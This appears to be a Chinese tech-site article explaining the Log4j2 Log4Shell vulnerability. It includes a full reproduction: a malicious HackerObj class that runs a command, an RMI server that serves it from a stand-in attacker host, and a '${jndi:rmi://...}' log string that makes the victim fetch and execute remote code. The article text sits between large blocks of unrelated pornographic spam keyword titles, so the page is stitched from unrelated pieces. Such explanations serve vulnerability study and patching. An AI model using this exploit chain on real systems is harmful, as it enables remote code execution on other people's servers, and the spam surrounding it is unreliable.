精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Log4j2被爆高危漏洞,漏洞如何復現,原理是什么呢??

安全 漏洞
我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

相信大家看到最多的就是這張圖片了,打了碼,還出來個計算器

圖片

Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);

上面這段代碼并不會像預想的打印出字符串,"${jndi:rmi://黑客ip:端口/test}"出來,如果這個日志是在自己的機器里打印的,就會在自己的機器里啟動計算器工具。

這現象的原理是什么呢?

關鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當成命令名服務被執行。

2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。

以下是詳細說明:

Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.   Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.  Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.  Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.  Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

以上是apache官網的一段說明,我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

回到我們的問題為什么會出現這種問題,還是官網上說的log4j2提供了一些可以讓用戶查詢一些配置信息。

圖片

上圖可以看出log4j2通過 http://logger.info("${java:hw}")可以打印出服務器cpu信息出來而不是字符串“${java:hw}”,大家可以看到這個就類似sql注入,另外一個關鍵的就是log4j2此功能是通過java lookup實現的,也就是說黑客可以這樣操作:

圖片

從上圖可以看出,最關鍵的地方就在紅色部署,用戶機器會下載黑客的可執行文件并在用戶機器上執行就是這病毒了,最上面演示的demo就是黑客讓用戶執行了自己機器上打開了計算器工具。

如果大家想自己實驗一下可以參考以下的代碼,這個是引用了網上一篇博客:

原文鏈接:https://blog.csdn.net/lizz861109/article/details/121928916

當然這篇博客沒有實現 rmi://127.0.0.1:1099/xxxx 這個rmi服務代碼可參考:

p.s. 網上很多程序都不完整或打了碼

//step1:在黑客機新建HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程序在此機器被執行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機把HackerObj.java編譯成HackerObj.class,然后開個nginx把HackerObj.class放進去讓它可以在網絡上訪問,如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創造時不要放在package里,放package里好像被用戶下載會提示notfindclass,有空再研究一下。

//step3: 創建個Server.java啟動黑客rmi服務

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在用戶機新建Client.java,

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在用戶機執行Client.java會發現“黑客程序在此機器被執行了。”
//在用戶機器打印出來了,同時用戶機器計算器工具也被打開了


//step5: log4j2  復現就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");

總結

關鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當成命令名服務被執行。

2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。

責任編輯:武曉燕 來源: 棧江湖
相關推薦

2022-01-27 09:16:08

CPU內存.NET

2021-12-30 08:55:41

Log4j2FastJson漏洞

2022-02-13 23:51:44

DeepfenceLog4j2漏洞

2021-12-11 13:29:36

SpringBoot 官方

2022-03-30 11:29:53

漏洞補丁Spring

2021-12-13 07:28:34

Java漏洞復現

2022-01-24 10:02:53

漏洞微軟網絡攻擊

2010-08-23 15:50:43

2021-12-23 06:51:54

阿里云Log4j2漏洞

2021-12-13 01:49:34

漏洞Log4j代碼

2021-12-16 10:43:04

黑客網絡攻擊漏洞

2013-02-22 13:39:57

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2021-12-29 06:54:23

Log4j2 漏洞績效

2021-12-14 06:59:39

Apache Log4j2 漏洞

2021-12-20 09:32:55

Log4j2漏洞攻擊

2022-05-30 14:04:23

Log4j遠程代碼漏洞

2013-06-26 14:32:18

2021-12-15 10:14:43

網絡安全網絡安全技術周刊

2021-01-28 17:32:44

Sudo漏洞Linux發行版
點贊
收藏

51CTO技術棧公眾號

国产精品456| 亚洲成人99| 在线观看亚洲专区| 综合久久国产| 草逼视频免费看| 一本久久综合| 久久精品99无色码中文字幕| 女性生殖扒开酷刑vk| 成人性生交大片免费网站| 亚洲视频图片小说| 欧美激情视频一区二区三区| 国产精品一二三四五区| 夜夜嗨一区二区| 欧美成人自拍视频| 在线观看日本中文字幕| 亚洲一区 二区| 欧美日韩电影在线播放| 日韩av三级在线| 欧美日韩视频在线播放| 99精品久久免费看蜜臀剧情介绍| 国产欧美一区二区三区在线看| 国产网址在线观看| 亚洲欧美色图| 有码中文亚洲精品| 美国黄色一级毛片| jizz国产精品| 欧美精品亚洲一区二区在线播放| 久久久久久久久久久久久久国产| 成人午夜在线影视| 中文字幕不卡在线| 欧美精品亚洲精品| 天堂在线视频观看| 丰满亚洲少妇av| 成人黄色免费片| 性色av一区二区三区四区| 一区二区三区福利| 国内精品久久久久久久| 1024手机在线视频| 午夜国产一区二区| 中文字幕精品在线视频| 免费看污片网站| 秋霞影视一区二区三区| 亚洲精品在线三区| youjizz.com国产| 精品亚洲二区| 日韩欧美国产一区在线观看| 蜜桃福利午夜精品一区| 91大神在线观看线路一区| 色婷婷亚洲精品| 日韩毛片在线免费看| www.com.cn成人| 欧美三级欧美成人高清www| cao在线观看| www.51av欧美视频| 精品人伦一区二区三区蜜桃免费| 97超碰人人澡| 精品捆绑调教一区二区三区| 欧美日韩免费一区| 国产亚洲精品网站| 亚洲a∨精品一区二区三区导航| 欧美午夜无遮挡| 37pao成人国产永久免费视频| 在线毛片观看| 91精品1区2区| www.久久91| 秋霞影院一区| 欧美成人video| 中文字幕在线永久| 亚洲成在人线免费观看| 国产午夜一区二区| 欧美日韩色视频| 欧美久久综合| 97在线观看免费高清| 人妻丰满熟妇av无码区| 日韩精品国产欧美| 亚洲精品免费网站| 全部免费毛片在线播放一个| wwwwww.欧美系列| 日韩免费毛片| 91在线中文| 午夜国产精品影院在线观看| 欧美日韩在线中文| 精品久久在线| 精品久久国产97色综合| 亚洲天堂视频一区| 亚洲澳门在线| 91福利视频网| 依依成人在线视频| 成人精品视频网站| 日韩在线电影一区| 影音先锋在线视频| 欧美午夜片欧美片在线观看| 国产精品v日韩精品v在线观看| 蜜桃精品视频| 亚洲色图美腿丝袜| 青青草在线观看视频| 视频在线在亚洲| 亚洲淫片在线视频| 激情小视频在线观看| 亚洲欧美色图小说| 国产福利一区视频| 97久久亚洲| 一区二区三区亚洲| 日韩久久精品视频| 精品亚洲国产成人av制服丝袜| 国产免费高清一区| 午夜不卡视频| 狠狠久久亚洲欧美专区| 999热精品视频| 中文字幕中文字幕精品| 色综合导航网站| 最近中文字幕在线视频| 99麻豆久久久国产精品免费| 公共露出暴露狂另类av| 黄色亚洲网站| 亚洲高清在线观看| 天堂av免费在线| 久久综合九色综合欧美狠狠| 国产精品免费一区二区三区四区 | 丰满白嫩尤物一区二区| 亚洲精品久久久久久一区二区| 波多野结衣乳巨码无在线观看| 欧美日韩国产综合久久| 真实乱视频国产免费观看| 亚洲精品资源| 国产激情美女久久久久久吹潮| 日本视频在线免费观看| 国产精品成人av性教育| 国产精品无码免费播放| 久久男人中文字幕资源站| 成人在线免费观看视频网站| www.成人在线视频| 亚洲另类图片色| 日韩av综合在线| 国产精品77777| 一区二区高清视频| 午夜欧美巨大性欧美巨大| 亚洲黄页视频免费观看| 麻豆疯狂做受xxxx高潮视频| 久久av中文字幕片| 亚洲精品人成| 粉嫩91精品久久久久久久99蜜桃| 亚洲欧洲日产国产网站| 4438国产精品一区二区| 99久久免费视频.com| 日本精品久久久久久久久久| 99国产精品久久一区二区三区| 久久精品亚洲一区| 国产精品久久777777换脸| 国产精品久久久久久久久免费桃花| 青青在线免费观看视频| 伊人久久大香线蕉综合网站| 欧美中文字幕在线观看| 台湾av在线二三区观看| 欧美视频免费在线| 9.1成人看片免费版| 久久性天堂网| 午夜精品一区二区三区在线观看| 亚洲伦乱视频| 永久555www成人免费| 一卡二卡三卡在线观看| 最新国产の精品合集bt伙计| 亚洲精品mv在线观看| 午夜亚洲福利| 黄色一区三区| 性欧美1819sex性高清| 在线观看欧美日韩| 国产精品探花视频| 亚洲大片精品永久免费| 亚洲永久无码7777kkk| 久久一区亚洲| 亚洲一区二区三区免费观看| 国产剧情一区二区在线观看| 欧美国产极速在线| 天堂中文字幕在线| 欧美日精品一区视频| 欧美xxxx黑人xyx性爽| 成a人片亚洲日本久久| 韩国一区二区av| 91一区在线| 国产精品久久久久久久免费大片| 中文字幕色婷婷在线视频| 一区二区欧美久久| 国产情侣自拍小视频| 亚洲va欧美va国产va天堂影院| 日本免费福利视频| 蜜臀av一级做a爰片久久| 无码人妻aⅴ一区二区三区日本| 国产精品1luya在线播放| 日本精品性网站在线观看| 欧美日韩xx| 日韩久久午夜影院| 国产精品久久久久久久久久久久久久久久久久 | 精品国产精品自拍| 又色又爽的视频| av影院午夜一区| 色播五月激情五月| 午夜一区不卡| 4444亚洲人成无码网在线观看| 亚洲第一福利专区| www.成人av.com| 午夜欧美巨大性欧美巨大| 久久久久久久国产精品| 超碰在线影院| 亚洲精品久久久久久久久| 国产又粗又猛又黄| 色噜噜狠狠色综合欧洲selulu| 亚洲天堂黄色片| 久久久99精品免费观看| 国产免费a级片| 久久99精品视频| 亚洲一二三区av| 国产日韩一区| 欧美中日韩在线| 亚洲精品二区三区| 日韩在线国产| 色愁久久久久久| 国产精品一国产精品最新章节| 欧美高清你懂的| 国产精品成人免费视频| 色在线中文字幕| 久久男人的天堂| 日本在线观看大片免费视频| www.日韩不卡电影av| 黄视频在线观看免费| 日韩av最新在线| 成人免费视频国产| 91精品国产综合久久久蜜臀图片 | 亚洲国产一区二区三区在线| 日韩在线你懂的| 精品在线视频一区二区| 99ri日韩精品视频| av资源一区二区| 欧美午夜网站| 亚洲自拍av在线| 免费观看性欧美大片无片| 国产精品午夜视频| 久草综合在线| 国产精品一二三视频| 成人午夜在线| 国产精品网址在线| 亚洲久草在线| 亚洲自拍中文字幕| 视频亚洲一区二区| 国产美女精品在线观看| 农村少妇一区二区三区四区五区| 国产欧美日韩在线播放| 国产日韩三级| 久久久久久久久久码影片| 国产一区调教| 农村寡妇一区二区三区| 免费视频亚洲| 日韩在线国产| 一区二区三区网站| 久久99久久99精品| 亚洲欧美高清| 香蕉视频网站入口| 精品一区二区三区免费播放| 肉色超薄丝袜脚交| 国产成人精品1024| 免费a级黄色片| 国产欧美视频一区二区| 黄色香蕉视频在线观看| 一区二区三区在线观看动漫| 亚欧洲精品在线视频| 欧美日韩中文在线| 中文字幕av网站| 日韩欧美成人一区二区| 日韩一级片免费| 美女精品视频在线| 亚洲精品成人久久久998| 男人天堂视频网| 91久久久免费一区二区| 姑娘第5集在线观看免费好剧| 欧美中文字幕不卡| 国产喷水吹潮视频www| 亚洲第一av网站| 男人天堂网在线观看| 中文字幕在线观看日韩| 中文在线字幕免费观看| 97在线视频精品| 99久久久国产精品免费调教网站| 91精品免费久久久久久久久| www.豆豆成人网.com| 欧美极品色图| 91av精品| 国产欧美高清在线| 国精产品一区一区三区mba视频| 日本国产在线视频| 亚洲国产精品精华液2区45| 男人的天堂久久久| 欧美日韩国产一区二区三区| 中文字幕福利视频| 精品福利在线导航| jizz视频在线观看| 国内外成人免费激情在线视频网站 | 日韩小视频在线| 国产黄大片在线观看| 成人黄色在线观看| 亚洲第一福利社区| 日韩免费在线观看av| 美国av一区二区| 黄色网址在线视频| 亚洲欧美另类在线| 国产美女www| 日韩精品高清视频| av片在线观看| 国产精品午夜视频| 久久不见久久见中文字幕免费 | 欧美aaaxxxx做受视频| 国产精品video| 看全色黄大色大片免费久久久| 中文字幕欧美日韩一区二区三区| 亚洲欧美日本视频在线观看| 欧美熟妇精品一区二区| 国产精品福利av | 欧美一区二区日韩一区二区| 国产资源在线观看| 1769国产精品| av一级亚洲| 成人手机在线播放| 久久精品72免费观看| 精品成人无码一区二区三区| 香蕉乱码成人久久天堂爱免费| 国产精品欧美综合亚洲| 伊人伊人伊人久久| 日韩制服诱惑| 日韩性感在线| 欧美亚洲视频| 无套内谢大学处破女www小说| 亚洲午夜影视影院在线观看| 99久久亚洲精品日本无码| 中文字幕亚洲无线码a| 欧美韩国亚洲| 欧美在线日韩精品| 久久婷婷丁香| 国产肥白大熟妇bbbb视频| 日韩欧美在线中文字幕| 午夜视频福利在线观看| 国内揄拍国内精品| 日韩欧美影院| 99免费视频观看| 国产三级一区二区| 九九热最新视频| 一本色道久久88综合亚洲精品ⅰ| 在线精品亚洲欧美日韩国产| 久久久久久久有限公司| 亚洲一区不卡| 国产精品免费无码| 欧美日韩精品久久久| 一级毛片视频在线观看| 国产一区二区色| 久久久人成影片免费观看| 三级黄色片播放| 一区二区三区免费在线观看| 国产成人三级一区二区在线观看一| 久久久成人av| 澳门成人av| 青青草原成人网| 欧美激情中文字幕| 91在线精品入口| 色中色综合影院手机版在线观看| 97精品久久| 人妻内射一区二区在线视频| 久久精品视频在线看| 中文字幕在线日亚洲9| 久久久成人精品| 成人av激情人伦小说| 日本精品免费在线观看| 国产女人18毛片水真多成人如厕 | 国产精品不卡av| 日韩精品视频在线播放| 亚洲成av在线| 国产精品无码乱伦| 国产成人精品一区二区三区四区| 日本少妇性高潮| 国产亚洲xxx| 精品视频在线一区| 国产成人精品视频免费看| 欧美韩国日本综合| 国产av一区二区三区| 91av国产在线| 999久久久国产精品| 中文在线观看免费视频| 色94色欧美sute亚洲线路一ni| 久久久久久国产精品免费无遮挡| 国产成人精品日本亚洲11| 日韩电影免费在线看| 国产大学生自拍| 亚洲夜晚福利在线观看| 美女久久精品| 五月天婷婷激情视频| 一卡二卡三卡日韩欧美| 国产天堂在线| caoporn国产精品免费公开| 久久久一二三| 久久久久久免费观看| 在线色欧美三级视频| 九色丨蝌蚪丨成人| 久久久久久久高清|